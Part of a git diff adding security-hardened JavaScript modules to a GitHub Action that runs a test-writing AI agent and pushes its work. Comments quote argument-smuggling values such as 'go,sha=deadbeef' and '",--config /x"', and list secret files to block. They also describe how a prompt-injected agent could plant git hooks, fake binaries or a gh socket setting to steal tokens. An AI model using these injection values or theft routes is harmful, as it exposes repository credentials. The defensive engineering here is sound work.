quieter setting than a fresh install gets. + * + * `off` is still honoured as a synonym for `report`, undocumented: a workflow + * already saying it must not start failing builds because we stopped + * advertising the word. + */ +export function stepShouldFail(buildEffect, outcome) { + // Neither of these is a bad outcome. A skipped run is NO outcome, and + // reddening the step for one would fail every push in a repository that + // binds only pull requests — which is most of them. + if (outcome === OUTCOMES.SUCCEEDED || outcome === OUTCOMES.SKIPPED) return false + const effect = String(buildEffect ?? "") + .trim() + .toLowerCase() + if (effect === BUILD_EFFECTS.REPORT || effect === "off") return false + if (effect === BUILD_EFFECTS.FAIL) return true + // Anything else is the default, which reddens — so say which value we did + // not recognise, or the reddening has no explanation anywhere. `none` and + // `warn` are the likely spellings somebody reaches for. + if (effect !== "" && effect !== BUILD_EFFECTS.FAIL_ON_BREAK) { + warnUnrecognisedBuildEffect(effect) + } + return RUN_DID_NOT_WORK.has(outcome) +} + +/** + * Did this run use up the approval it was given? + * + * Replying `go` is spent by the run that carries the plan out, so a second + * `go` cannot quietly run the same work twice. + * + * The question is whether a RUN happened, not whether it went well. Red tests + * and a ceiling both did the work and may have written some of it; + * re-running those would duplicate it and charge again. A run that broke or + * never started did neither, so the person can simply ask again — otherwise a + * `fix` that dies in a second leaves the commit unapprovable for good. + */ +export function approvalWasSpent(outcome) { + return outcome !== OUTCOMES.RUN_BROKE && outcome !== OUTCOMES.COULD_NOT_RUN && outcome !== OUTCOMES.SKIPPED +} diff --git a/test-companion/src/plan-run.mjs b/test-companion/src/plan-run.mjs new file mode 100644 index 0000000..e313938 --- /dev/null +++ b/test-companion/src/plan-run.mjs @@ -0,0 +1,373 @@ +import { isApprovalOnly } from "./intent.mjs" +/** + * Turn a GitHub event into a `tc workflow run` invocation. + * + * The CLI deliberately refuses to read GITHUB_* variables itself, so that the + * same CLI behaves identically on Jenkins. Every piece of context it gets + * comes from here. + * + * Pure — payload in, plan out, no I/O — because the only other way to test it + * is to push a commit and wait for a runner. + * + * ── The event vocabulary is a public contract ─────────────────────────────── + * `--event` is free text to the CLI, matched against whatever the customer + * wrote in their pipeline file's `on:` field. The names below ARE the API: + * renaming one silently stops matching every pipeline that used it, with no + * error — the binding just never fires. Add names; do not rename them. + */ + +/** Every event name a pipeline file may bind to. */ +export const TC_EVENTS = Object.freeze({ + PR_COMMENT: "pr_comment", + PR_OPENED: "pr_opened", + PR_UPDATED: "pr_updated", + PR_MERGED: "pr_merged", + PUSH: "push", + BUILD_FAILED: "build_failed", + SCHEDULE: "schedule", +}) + +/** + * How a run is addressed in a comment: @browserstack, the name the GitHub App + * posts under, so the name people type matches the name that replies. + * + * Only the word on its own counts. "browserstack" also turns up in text that + * is not addressed to us, and each of these must NOT start a run: + * + * - an email address, someone@browserstack.com (a word character before @); + * - a team mention or npm scope, @browserstack/qa (a slash after); + * - a longer name, @browserstack-team or @browserstack_ci (a word character + * or hyphen after); + * - the App's own bot account, @browserstack[bot]; + * - a domain, @browserstack.com (a dot followed by more of the name). A dot + * that ends a sentence, "thanks @browserstack.", still counts. + * + * Case-insensitive, because people type BrowserStack. + */ +const MENTION = /(^|[^\w.+@-])@browserstack(?![\w\-/[]|\.\w)/i +const MENTIONS = new RegExp(MENTION.source, "gi") + +/** + * The CLI rejects a context value that begins with `-` (CWE-88), and a pull + * request title or comment body is attacker-controlled on a public repo. Catch + * it here so it is refused before it reaches a command line, not after. + */ +const looksLikeAFlag = (v) => typeof v === "string" && v.trimStart().startsWith("-") + +const skip = (reason, detail) => ({ skip: { reason, detail } }) + +/** + * Every context key the CLI actually reads. An allowlist rather than a + * denylist: a key it does not know is silently ignored, so passing one is at + * best noise and at worst a way to smuggle something past review. + */ +const ALLOWED_CONTEXT_KEYS = new Set([ + "sha", + "branch", + "paths", + "build_status", + "pr", + "subject", + "url", + "build", + "description", + "target", + "cases", + "app", + "task", + "instructions", + "actor", + // the ticket this change is for, found in the branch, title or body. + "ticket", + // the approved plan this run must carry out, written by the Action. + "plan_file", + // how large the change is, when it is too big to cover in one go. + "focus", + // this run is the gate's planning pass — plan, do not write. + "propose_only", +]) + +/** + * `--context` is a comma-separated `k=v` list, so a value containing `,` or + * `=` can append keys of its own — "@browserstack go,sha=deadbeef" would + * redirect the run at another commit. Comments and titles are + * attacker-controlled on a public repo, so the separators are removed rather + * than escaped: readable prose matters more than its punctuation. + * + * `"` is here because pflag parses a multi-pair --context value as CSV, which + * rejects a bare quote — a PR titled `Fix "Pay now" button` failed flag + * parsing outright. contextArgs below is the real fix; this is the belt. + */ +const stripSeparators = (v) => String(v).replace(/[,="]/g, " ").replace(/\s+/g, " ").trim() + +/** + * Fill a comment-triggered plan in with the pull request's own head commit. + * + * `issue_comment` carries the issue number and nothing about the code: no + * sha, no branch, and `GITHUB_SHA` is the DEFAULT BRANCH tip for that event. + * Without this the run reads main and its check lands on main's latest + * commit. + * + * Fails CLOSED. A head repository that is missing, or not ours, is treated as + * a fork and skipped — a comment is an untrusted trigger. + * + * `pr` is the API's pull request object; `repo` is "owner/name" for this + * repository. A plan that already names a commit is returned untouched. + */ +export function withPullRequestHead(plan, pr, repo) { + if (plan?.context?.sha) { + return plan + } + const sha = pr?.head?.sha + const ref = pr?.head?.ref + if (!sha || !ref) { + return { ...plan, skip: "no-pr-head" } + } + const from = pr?.head?.repo?.full_name + if (!repo || !from || from.toLowerCase() !== repo.toLowerCase()) { + return { ...plan, skip: "fork" } + } + return { ...plan, context: { ...plan.context, sha, branch: ref } } +} + +/** + * The --context flags for one plan, ONE FLAG PER PAIR. + * + * Joining pairs into a single `--context a=1,b=2` sends pflag down its CSV + * path, where one double quote anywhere fails the whole flag. A value with + * exactly one `=` takes the single-pair path instead, which never parses CSV. + */ +export function contextArgs(context = {}) { + return Object.entries(context).flatMap(([k, v]) => ["--context", `${k}=${v}`]) +} + +/** Drop empty values rather than passing `k=` through to the CLI. */ +function cleanContext(pairs) { + const out = {} + for (const [k, v] of Object.entries(pairs)) { + if (v === undefined || v === null) continue + if (!ALLOWED_CONTEXT_KEYS.has(k)) continue + const s = stripSeparators(v) + if (s !== "") out[k] = s + } + return out +} + +/** + * Decide what, if anything, this event should run. + * + * Returns either `{skip: {reason}}` — a clean no-op the step reports and passes + * or `{event?, workflow?, preview?, context}`. A manual run carries NO event, + * which is how the CLI is told to ignore the pipeline bindings. + */ +export function planRun({ eventName, payload = {}, inputs = {}, repo, sha, ref } = {}) { + const built = route({ eventName, payload, inputs, repo, sha, ref }) + if (built.skip) return built + + // An explicitly named job wins on any trigger, not only a manual one. + // Explicit beats implicit, and naming a job is how the bindings are + // bypassed — same as a manual run, so the event is dropped with it. + const named = (inputs.workflow ?? "").trim() + if (named && !built.workflow) { + built.workflow = named + built.preview = built.preview || String(inputs.preview ?? "") === "true" + delete built.event + } + + // Clean FIRST, then gate — the order matters and was the wrong way round. + // cleanContext calls stripSeparators, which turns `,`, `=` and `"` into + // spaces and trims. Checking the raw value let `",--config /x"` look safe + // and come out as `--config /x`, while the same text unwrapped was + // correctly refused. The gate has to see what the CLI will see. + const context = cleanContext(built.context ?? {}) + + // One gate for every path, so a new trigger cannot forget it. + for (const [k, v] of Object.entries(context)) { + if (looksLikeAFlag(v)) return skip("unsafe-context", `${k} starts with "-"`) + } + return { ...built, context } +} + +function route({ eventName, payload, inputs, repo, sha, ref }) { + switch (eventName) { + case "issue_comment": + return fromComment(payload, inputs) + case "pull_request": + case "pull_request_target": + return fromPullRequest(payload, repo) + case "workflow_run": + return fromWorkflowRun(payload, inputs, repo) + case "push": + return { + event: TC_EVENTS.PUSH, + context: { sha: payload.after, branch: branchFromRef(payload.ref) }, + } + case "schedule": + return { event: TC_EVENTS.SCHEDULE, context: { sha, branch: branchFromRef(ref) } } + case "workflow_dispatch": + return fromManual(inputs, sha, ref) + default: + // Better a clean skip than a guess: an unrecognised event with invented + // context would run the wrong job against the wrong commit. + return skip("unsupported-event", eventName) + } +} + +function fromComment(payload, inputs) { + // an edit must not start a run, or correcting a typo in an old comment + // re-runs the job. + if (payload.action !== "created") return skip("comment-edited", payload.action) + // GitHub delivers pull request comments as issue_comment; only the presence + // of `pull_request` distinguishes them from real issues. + if (!payload.issue?.pull_request) return skip("not-a-pull-request") + + const body = payload.comment?.body ?? "" + const addressed = MENTION.test(body) + + // A bare approval needs no mention: the proposal says "Reply go to run + // this for real", and people do exactly that. + // + // EXACTLY the approval and nothing else. Merely opening with the word is + // too wide — "Approved, but rename the login case" is an ordinary review + // comment, and it would start a live write run with the rest carried in + // as approver edits. Edits alongside an approval are still supported, but + // then the person has to address us. + // + // A plan reference may follow the word and nothing else: `go #` or + // `go `, which is how you say WHICH plan when two are + // waiting. Six digits at least, and it must be the whole rest of the + // comment, so "go and look at #25 too" still needs the mention. + const approvalOnly = !addressed && isApprovalOnly(body) + if (!addressed && !approvalOnly) return skip("not-addressed-to-us") + + // Everything after the mention is what the person actually asked for. The + // mention itself is addressing, not instruction, so it is stripped. + // The character before the mention is part of the match, so put it back. + const instructions = body.replace(MENTIONS, "$1").replace(/\s+/g, " ").trim() + + return { + event: TC_EVENTS.PR_COMMENT, + context: { + pr: String(payload.issue.number), + instructions, + // The commenter is who the run is attributed to and whose permission + // the caller checks before this plan is acted on. + actor: payload.comment?.user?.login, + }, + requiresWriteAccess: true, + commenter: payload.comment?.user?.login, + // Where the request was made. One comment edited in place cannot + // otherwise say WHICH request it is answering, and on a busy pull + // request that is most of the question. + askedAt: payload.comment?.html_url, + // Carried so main.mjs can refuse it when no proposal is waiting. + approvalOnly, + } +} + +function fromPullRequest(payload, repo) { + const p = payload.pull_request ?? {} + + // A fork's workflow gets a read-only token and no secrets, so a run would + // fail partway with a confusing permissions error. Refuse up front. + // + // Fails CLOSED, which matters most for `pull_request_target`: that trigger + // runs in the BASE repository's context WITH secrets even for a fork's + // pull request, so this check is the only thing in front of it. + // + // GitHub sets `head.repo` to null when the fork has been DELETED, so a + // missing repo must refuse too — otherwise opening a pull request from a + // fork and then deleting it runs attacker-authored code with our + // credentials and --yolo. + // + // Compared case-insensitively, because GitHub treats repository names + // that way. + const head = p.head?.repo?.full_name + if (!repo || !head || head.toLowerCase() !== repo.toLowerCase()) { + return skip("fork", head ?? "unknown-origin") + } + + if (payload.action === "closed") { + if (!p.merged) return skip("closed-unmerged") + return { + event: TC_EVENTS.PR_MERGED, + context: { + // The merge commit is what landed; the head sha is a branch that may + // no longer exist. Scoping to head would examine code never merged. + sha: p.merge_commit_sha ?? p.head?.sha, + branch: p.base?.ref, + pr: String(p.number), + }, + } + } + + // a draft never starts a run by itself. A comment still can, which is + // why this sits here rather than in the comment path. + if (p.draft) return skip("draft") + + const event = payload.action === "opened" || payload.action === "reopened" ? TC_EVENTS.PR_OPENED : TC_EVENTS.PR_UPDATED + + if (payload.action !== "opened" && payload.action !== "reopened" && payload.action !== "synchronize") { + // labelled, assigned, review_requested and friends are noise here. + return skip("unsupported-event", `pull_request.${payload.action}`) + } + + return { + event, + // No `subject` on purpose. generateSubject in the CLI builds the + // commit-scoped prompt — "the change in PR #N, commit SHA … covering only + // what that change touches" — ONLY when no subject is given. Sending the + // title made `generate` write cases for the title rather than the diff, + // when a run should only ever work on the change that triggered it. + context: { sha: p.head?.sha, branch: p.head?.ref, pr: String(p.number) }, + } +} + +function fromWorkflowRun(payload, inputs, repo) { + const run = payload.workflow_run ?? {} + if (payload.action !== "completed") return skip("unsupported-event", `workflow_run.${payload.action}`) + + // workflow_run is a PRIVILEGED trigger: it runs in the base repository's + // context with full secrets even when the run it reacts to came from a fork. + // The fork check in the pull_request path does not cover it, and missing + // this is the documented way these workflows get compromised. + // Fails CLOSED: an absent or unmatched head repository is treated as a fork. + // For a trigger that carries full secrets, "cannot confirm it is ours" has + // to mean no. + const head = run.head_repository?.full_name + if (!repo || !head || head.toLowerCase() !== repo.toLowerCase()) { + return skip("fork", head ?? "unknown-origin") + } + + // never explain our own red run, or a failing Test Companion check + // triggers a run to explain the failing Test Companion check, forever. + const self = inputs["self-workflow-name"] + if (self && run.name === self) return skip("own-run", run.name) + + if (run.conclusion !== "failure") return skip("build-not-red", run.conclusion) + + return { + event: TC_EVENTS.BUILD_FAILED, + context: { + build: run.html_url, + sha: run.head_sha, + branch: run.head_branch, + build_status: "failed", + pr: run.pull_requests?.[0]?.number ? String(run.pull_requests[0].number) : undefined, + }, + } +} + +function fromManual(inputs, sha, ref) { + const workflow = (inputs.workflow ?? "").trim() + if (!workflow) return skip("no-workflow-named", "workflow_dispatch needs a `workflow` input") + return { + // Deliberately no event: that is how the CLI is told to ignore the + // pipeline bindings and run exactly what was asked for. + workflow, + preview: String(inputs.preview ?? "") === "true", + context: { sha, branch: branchFromRef(ref) }, + } +} + +const branchFromRef = (ref) => (typeof ref === "string" ? ref.replace(/^refs\/heads\//, "") : undefined) diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs new file mode 100644 index 0000000..4b6fcad --- /dev/null +++ b/test-companion/src/push-work.mjs @@ -0,0 +1,539 @@ +/** + * Keeping the work. + * + * An approved run writes test code on a runner that is thrown away minutes + * later. The CLI opens a pull request only for the `automate` and `fix` jobs, + * so without this a `test-pr` run writes eight passing tests and loses all + * eight — the very write the approval gate exists to authorise. + * + * It lands as a commit on the pull request's own branch, not a second pull + * request: a reviewer who asked for tests on their change wants them there. + * + * Pure decisions about strings. The git commands live at the call site in + * main.mjs, so every rule below is testable without a repository. + */ + +/** Who we commit as. Must match the identity action.yml configures. */ +export const BOT_EMAIL = "test-companion[bot]@users.noreply.github.com" + +/** Did we write the commit this run is reacting to? */ +export function authoredByUs(email) { + return ( + String(email ?? "") + .trim() + .toLowerCase() === BOT_EMAIL + ) +} + +/** + * May this run push at all? + * + * Every arm fails closed, and each one is a different way the push could be + * wrong rather than merely unnecessary. + */ +export function shouldPushWork({ preview, sameRepo, branch, headAuthorEmail, onWantedCommit, defaultBranch } = {}) { + // The proposal pass. The brain refuses every write tool during preview, so + // there should be nothing here to push — but a shell command the agent ran + // is outside that refusal, and pushing its output would break the single + // promise the proposal makes: nothing is written until you say go. + if (preview) return { ok: false, why: "this is a preview run, which writes nothing" } + // A fork's branch belongs to someone else, and `pull_request_target` hands + // us write credentials even for fork code. Pushing there is the exact shape + // of the attack that trigger is known for. + // Strict `!== true`, not falsy: an unanswerable question is a no. Passing + // a hard-coded true here was a review finding, and the same fail-open shape + // had already appeared once in this Action on `pull_request_target`. + if (sameRepo !== true) return { ok: false, why: "the change does not come from this repository" } + if (!String(branch ?? "").trim()) return { ok: false, why: "there is no branch to push to" } + // The checkout is advisory — a run continues against whatever is there, so + // a proposal still gets built. Pushing from that tree is not advisory: + // it would send the default branch's content to the pull request's branch + // and clobber the change under review. + if (onWantedCommit !== true) return { ok: false, why: "the checkout is not on the commit being reviewed" } + // The branch name comes from the pull request's own head ref, which its + // author controls. The default branch is the one target where a mistake is + // not undone by closing a pull request, so it is refused by name. + const base = String(defaultBranch ?? "") + .trim() + .toLowerCase() + if (base && String(branch).trim().toLowerCase() === base) { + return { ok: false, why: "that is the repository's default branch" } + } + // The loop guard. Our push makes a commit; if that commit triggers a run + // that pushes again, the pull request fills with commits until someone + // notices. One generation is enough. + if (authoredByUs(headAuthorEmail)) return { ok: false, why: "this run is reacting to our own commit" } + return { ok: true } +} + +/** + * The paths in `git status --porcelain` output. + * + * Deletions count: removing a test is a change worth keeping. A rename reports + * the destination, which is where the file actually is now. + */ +export function changedPaths(porcelain) { + return String(porcelain ?? "") + .split("\n") + .filter((line) => line.trim()) + .map(stripStatus) + .filter(Boolean) + .map((path) => { + const arrow = path.indexOf(" -> ") + return arrow === -1 ? path : path.slice(arrow + 4) + }) + .map(unquote) +} + +/** + * Drop the status code, without assuming it is exactly two characters wide. + * + * Porcelain writes `XYpath`, and X or Y may itself be a space — " M" + * for an unstaged modification. A caller that trims git's whole stdout + * removes that leading space from the FIRST LINE ONLY, leaving + * `Mpath`, and a fixed slice(3) then eats the first letter of the + * path: `tests/pricing.spec.js` becomes `ests/pricing.spec.js` and the file + * is never staged. + */ +function stripStatus(line) { + if (line[2] === " ") return line.slice(3) + if (line[1] === " ") return line.slice(2) + return line.slice(3) +} + +/** + * Decode a porcelain path. + * + * Git quotes a path containing a space, a quote, a backslash or — with + * `core.quotePath` on, which is the DEFAULT — any non-ASCII byte, using C + * escapes for the bytes plus the usual two-character ones. + * + * Stripping the quotes without decoding leaves a path that does not exist, + * and `git add` with several pathspecs aborts on the FIRST miss and stages + * nothing — so one accented filename loses every file the run produced. + * + * The call site also passes `-c core.quotePath=false`. This decodes anyway, + * so a repository that forces the setting back on cannot bring the bug back. + * + * Octal escapes are decoded as BYTES and then read as UTF-8 together: one + * character is often several escapes, and decoding them singly gives + * mojibake. + */ +function unquote(path) { + if (!(path.startsWith('"') && path.endsWith('"') && path.length >= 2)) return path + // Walk BYTES, not characters. Indexing the string by UTF-16 code unit + // split an emoji into its two surrogate halves and Buffer.from turned each + // half into U+FFFD, so "my 🎉 file.spec.ts" came back as a path that does + // not exist. Reachable precisely because `core.quotePath=false` stops the + // octal escaping but still QUOTES a path with a space — so the emoji + // arrives raw inside quotes and lands here. + const src = Buffer.from(path.slice(1, -1), "utf8") + const bytes = [] + for (let i = 0; i < src.length; i++) { + if (src[i] !== 0x5c) { + bytes.push(src[i]) + continue + } + const next = src[++i] + // Exactly three octal digits, which is what git emits. + if (next >= 0x30 && next <= 0x37) { + bytes.push(parseInt(String.fromCharCode(next, src[i + 1], src[i + 2]), 8) & 0xff) + i += 2 + continue + } + const simple = { n: 10, t: 9, r: 13, b: 8, f: 12, v: 11, a: 7 }[String.fromCharCode(next)] + // `\"` and `\\` land in the else, and so does anything git did not escape. + bytes.push(simple === undefined ? next : simple) + } + return Buffer.from(bytes).toString("utf8") +} + +/** + * What we refuse to commit, whatever the repository's .gitignore says. + * + * `git add` honours .gitignore already, so this is the second line of defence, + * for a repository that happens not to ignore one of these. A pushed `.env` is + * the worst single outcome in this feature: it publishes a credential into the + * customer's own history, where deleting the file does not take it back. + * + * Matched on whole path SEGMENTS, so `src/env.js` is kept and only a real + * `.env` is dropped. + */ +const NEVER_COMMIT = [ + /^\.env($|\.)/i, + /^node_modules$/i, + /^playwright-report$/i, + /^test-results$/i, + /^\.testcompanion$/i, + /^blob-report$/i, + /\.log$/i, +] + +/** + * Also refused: + * + * - Anything under `.github/`. That folder tells GitHub what to RUN: workflows, + * the repository's own reusable actions, and who must review what. GitHub + * already rejects workflow edits from our tokens, but not the rest, and an + * action file changed on a branch runs with that branch's secrets. + * - Symlinks. A link can point anywhere on the runner, and committing one + * puts a path chosen by the agent into the customer's tree. + * + * `isSymlink` is asked per path, so this stays testable without a disk. + */ +export function splitPushable(paths, { isSymlink = () => false } = {}) { + const push = [] + const skip = [] + for (const path of paths ?? []) { + const segments = String(path).split("/") + const refused = + segments.some((segment) => NEVER_COMMIT.some((pattern) => pattern.test(segment))) || + segments.some((segment) => segment.toLowerCase() === ".github") || + isSymlink(path) + ;(refused ? skip : push).push(path) + } + return { push, skip } +} + +/** + * What the pull request comment says about the push. + * + * A write that did not happen is said out loud, because a silent skip reads + * as "there was nothing to write". + * + * The file list is not decoration: it is the only record of what an + * autonomous agent changed in someone's branch. + */ +export function renderPushNote({ branch, sha, files = [], skipped = [], error } = {}) { + const list = files.map((f) => `- \`${f}\``).join("\n") + if (error) { + return [ + `**Could not save this work to \`${branch}\`:** ${error}`, + "", + "The run made these changes and they are not saved anywhere:", + list, + ].join("\n") + } + const lines = [`**Saved to \`${branch}\`** as \`${String(sha ?? "").slice(0, 7)}\` — ${countOf(files)}:`, "", list] + if (skipped.length) { + lines.push("", `Not committed, because Test Companion never commits these: ${skipped.map((f) => `\`${f}\``).join(", ")}.`) + } + return lines.join("\n") +} + +const countOf = (files) => (files.length === 1 ? "1 file" : `${files.length} files`) + +/** + * Is the working tree sitting on the commit we think it is? + * + * On an `issue_comment` event GitHub checks out the DEFAULT branch. main.mjs + * corrects that, but advisorily — it warns and carries on, so a proposal can + * still be built from the diff when the fetch fails. + * + * This is the check that the advisory step actually worked. Pushing from a + * tree that is not the reviewed commit would send the default branch's + * content to the pull request's branch and clobber the change under review. + * + * Not knowing where we are is never a reason to push. + */ +export function needsCheckout({ headSha, wantSha } = {}) { + const want = String(wantSha ?? "") + .trim() + .toLowerCase() + const head = String(headSha ?? "") + .trim() + .toLowerCase() + if (!want || !head) return false + return head !== want +} + +/** + * Is this branch in the repository we are running in? + * + * Tri-state, like every other access answer here: undefined means we could + * not find out, and shouldDoPushWork treats that as a no. + * + * Takes the head repository's full name rather than fetching it, because + * where it comes from depends on the trigger: a comment makes main.mjs fetch + * the pull request, while a pull_request event already carries it on the + * payload. Reading only the fetched object refuses every + * pull_request-triggered push. + */ +export function isSameRepo(headRepoFullName, repo) { + const head = String(headRepoFullName ?? "").trim() + const ours = String(repo ?? "").trim() + if (!head || !ours) return undefined + return head.toLowerCase() === ours.toLowerCase() +} + +/** + * The git arguments that authenticate a push as the GitHub App. + * + * The App's installation token lives in GH_TOKEN, which only `gh` reads, + * while the push is plain git authenticating with whatever + * `actions/checkout` wrote into .git/config. Without this, a team that + * deleted the `permissions:` block as we advise gets a 403 on every approved + * run. + * + * Passed as configuration rather than baked into the remote URL: a token in + * a URL ends up in the reflog, in error messages and in `git remote -v`. + * + * No token returns nothing, so the checkout's own credential is used — which + * is correct whenever the App is not installed. + */ +export function pushCredentialEnv(token, url) { + const t = String(token ?? "").trim() + const u = String(url ?? "").trim() + if (!t || !u) return {} + const basic = Buffer.from(`x-access-token:${t}`, "utf8").toString("base64") + // Delivered through the environment rather than `-c` on the command line. + // argv is world-readable on the runner — any process can read the token + // out of `ps` — while /proc//environ is readable only by its owner. + // + // SCOPED to the one URL. A global `http.extraheader` attaches to whatever + // the push resolves to, and the repository's own config can change that. + return { + GIT_CONFIG_COUNT: "1", + GIT_CONFIG_KEY_0: `http.${u}.extraheader`, + GIT_CONFIG_VALUE_0: `AUTHORIZATION: basic ${basic}`, + } +} + +/** + * Where to push, built from the trusted repository name rather than resolved + * through the repository's own config. + * + * `git push origin` asks .git/config where origin is, and the agent can + * rewrite that. Naming the URL outright means a rewritten remote is simply + * not used. + */ +export function pushUrlFor(repo, server = "https://github.com") { + const r = String(repo ?? "").trim() + if (!/^[^/\s]+\/[^/\s]+$/.test(r)) return undefined + return `${String(server).replace(/\/+$/, "")}/${r}.git` +} + +/** + * The environment our own git commands run in — deliberately almost empty. + * + * These run AFTER the agent, which has had --yolo write access to the working + * tree. An agent that writes `.git/hooks/pre-commit` gets it executed by our + * `git commit`, with whatever environment we hand it — and spawnSync with no + * `env` inherits everything, including the App key, GH_TOKEN and the + * customer's BrowserStack key. On `pull_request_target` the diff under test + * is attacker-authored, so that is one prompt injection from a key leaving + * the runner. + * + * Proxy settings are kept because a push has to reach the network; nothing + * else is. + */ +export function gitEnvFrom(env = {}) { + const out = {} + for (const k of ["HOME", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"]) { + if (env[k] !== undefined) out[k] = env[k] + } + // PINNED, not inherited. The agent writes to the runner as the same user we + // do, and the default PATH includes directories that user can write — a + // planted `git` there would be handed the installation token. git shells out + // to its own subcommands, so it still needs a PATH; this is the smallest one + // that works and contains nothing the agent could have written to. + out.PATH = "/usr/bin:/bin" + // Ignore the system and user config too, so the only configuration in play + // is what this process passes with -c. + out.GIT_CONFIG_NOSYSTEM = "1" + out.GIT_CONFIG_GLOBAL = "/dev/null" + // Never ask a human, and never run a program to ask one. + out.GIT_TERMINAL_PROMPT = "0" + out.GIT_ASKPASS = "" + out.SSH_ASKPASS = "" + out.GIT_ATTR_NOSYSTEM = "1" + return out +} + +/** + * Where the real git is, as an absolute path — or nothing, when we cannot + * find one we are sure of. + * + * `spawnSync("git", ...)` resolves through PATH, and on a GitHub runner + * several PATH directories are writable by the job's own user, which is also + * the user the agent just ran as. A planted `git` would receive the + * credential we pass in the environment. + * + * "Sure of" means it exists and WE cannot write it: a binary this process + * could overwrite is one the agent could have overwritten. + * + * KNOWN LIMIT: the job's user has passwordless sudo on a GitHub-hosted + * runner, so an agent could replace /usr/bin/git itself and pass this check. + * Nothing inside this process can close that — the same access reaches our + * own source, node, and the token in memory. It closes only with + * containment. + * + * Deliberately no fallback to the bare name: falling back would reinstate the + * hole on exactly the machines where it matters, so the caller skips the + * commit instead. + */ +export function trustedGitPath({ candidates = ["/usr/bin/git", "/bin/git"], exists, canWrite } = {}) { + return candidates.find((p) => exists(p) && !canWrite(p)) +} + +/** + * Where the real gh is. The same rule as git, for the same reason, and the + * stakes are higher: every gh call we make carries a GitHub token, and the + * App's calls carry a token signed with the App's private key. + * + * The obvious hijack is `$HOME/.local/bin`. The install step puts it on PATH + * so the CLI can be found, it comes before the system folders, and the agent + * can write to it. A `gh` planted there would be the one a bare name finds. + * + * The candidates are where gh is normally installed: apt on Linux, the + * official package and Homebrew on macOS. Same known limit as git (sudo), and + * the same refusal to fall back to the bare name. + */ +export function trustedGhPath({ + candidates = ["/usr/bin/gh", "/usr/local/bin/gh", "/opt/homebrew/bin/gh", "/bin/gh"], + exists, + canWrite, +} = {}) { + return trustedGitPath({ candidates, exists, canWrite }) +} + +/** + * The environment for one of OUR gh calls: the caller's, with the token we + * chose and a settings folder nobody else has touched. + * + * The settings folder matters as much as the binary. The job-wide one is + * shared with the agent on purpose (the CLI's own gh needs it), so the agent + * can write a config.yml there. gh obeys that file, and one of its settings, + * `http_unix_socket`, sends every API request, token included, to whatever + * is listening on a local socket. A fresh empty folder per call means gh + * runs on its defaults. + * + * The update check is off because it is network noise that writes a state + * file, and prompts are off because nobody is there to answer them. + */ +export function ghEnvFrom(source, { token, configDir }) { + return { + ...source, + GH_TOKEN: token, + GH_CONFIG_DIR: configDir, + GH_NO_UPDATE_NOTIFIER: "1", + GH_PROMPT_DISABLED: "1", + } +} + +/** + * The git config an ordinary `actions/checkout` leaves behind. Anything else + * means the repository's config was changed after the checkout. + * + * An ALLOW list, not a deny list. Config is where git keeps every "run this + * program for me" hook it has — credential helpers, clean filters, textconv, + * ssh commands, pagers — plus `insteadOf`, which rewrites any URL. Listing + * the dangerous keys loses to the next key git adds; listing the expected + * ones refuses anything we have never heard of. + * + * `.gitattributes` is deliberately absent: it only names a filter, and the + * command a filter runs comes from `filter..*` in config. + */ +const EXPECTED_CONFIG = [ + /^core\.(repositoryformatversion|filemode|bare|logallrefupdates|symlinks|ignorecase|precomposeunicode|quotepath|autocrlf|safecrlf|sparsecheckout|sparsecheckoutcone)$/, + /^remote\.[^.]+\.(url|fetch|mirror|tagopt|partialclonefilter|promisor)$/, + /^branch\.[^.]+\.(remote|merge|rebase)$/, + // Scoped only. A bare `http.extraheader` goes to every host, so it is not + // expected and not allowed. + /^http\..+\.extraheader$/, + /^gc\.auto$/, + /^user\.(name|email)$/, + /^extensions\.objectformat$/, + /^init\.defaultbranch$/, +] + +/** + * How to read the repository's own config. + * + * `--local` is load-bearing: a bare `git config --list` also includes config + * given on the command line with `-c`, which is where all of GIT_SAFE_ARGS + * lives. Without it the check reads our own hardening back and calls it + * tampering. + * + * Worktree config needs no separate read: turning it on requires + * `extensions.worktreeConfig` in the local file, which is not an expected + * key, so a repository using it is refused by this same check. + */ +/** + * Did the agent commit something itself? + * + * We push `HEAD`, so anything the agent committed rides along — edits to + * source, lockfiles or `.github/`, none of it filtered by splitPushable, and + * a workflow-file change fails the whole push with an unreadable permissions + * error. Our own commit is made after this check, so a HEAD that moved during + * the run was not us. + * + * Fails CLOSED. Not knowing where HEAD started is not permission to push. + */ +export function agentCommitted(headBefore, headNow) { + const before = String(headBefore ?? "").trim() + const now = String(headNow ?? "").trim() + if (!before) return true + return Boolean(now) && before !== now +} + +export const CONFIG_READ_ARGS = Object.freeze(["config", "--local", "--list", "--name-only"]) + +/** + * The keys in that output that an ordinary + * checkout would not have written — empty when the config is as we left it. + * + * Fails closed by construction: an unknown key is unexpected. + */ +export function unexpectedConfigKeys(listing) { + return String(listing ?? "") + .split("\n") + .map((l) => l.trim()) + .filter((l) => l && !EXPECTED_CONFIG.some((re) => re.test(l.toLowerCase()))) +} + +/** + * Arguments that stop git running anything the agent may have planted. + * + * `core.hooksPath` to nowhere, because a hook is code in the repository that + * `git commit` would run for us. fsmonitor off for the same reason — it is a + * configurable command git will start on its own. + */ +export const GIT_SAFE_ARGS = Object.freeze([ + "-c", + "core.hooksPath=/dev/null", + "-c", + "core.fsmonitor=false", + // Reset the credential helper LIST. A helper is a shell command git runs + // when a request comes back 401. + "-c", + "credential.helper=", + "-c", + "core.askPass=", + // https only, so an ext: or a local path in a rewritten URL cannot run. + "-c", + "protocol.allow=never", + "-c", + "protocol.https.allow=always", + "-c", + "http.proxy=", + "-c", + "core.gitProxy=", + "-c", + "http.sslVerify=true", + // Every other key that is a way for the repository to make git run a + // program on our behalf. + "-c", + "core.sshCommand=", + "-c", + "core.pager=cat", + "-c", + "diff.external=", + "-c", + "commit.gpgsign=false", + "-c", + "gpg.program=false", + // .gitattributes can name a filter command; ignore the file entirely. + "-c", + "core.attributesFile=/dev/null", +]) diff --git a/test-companion/src/relay.mjs b/test-companion/src/relay.mjs new file mode 100644 index 0000000..9e4f12b --- /dev/null +++ b/test-companion/src/relay.mjs @@ -0,0 +1,119 @@ +/** + * The read-only GitHub relay the agent's `gh` talks to. + * + * The agent's gh is configured with `http_unix_socket` pointing here and a + * placeholder token. gh then sends every request, as plain HTTP, to this + * socket instead of to GitHub. The relay checks each one against + * relayDecision, swaps the placeholder for the real pass on the ones that + * may go through, and forwards them over HTTPS. + * + * So the agent can read what its jobs need (a failed run's logs, a pull + * request's details) and never holds a pass that could write. + * + * Runs inside this 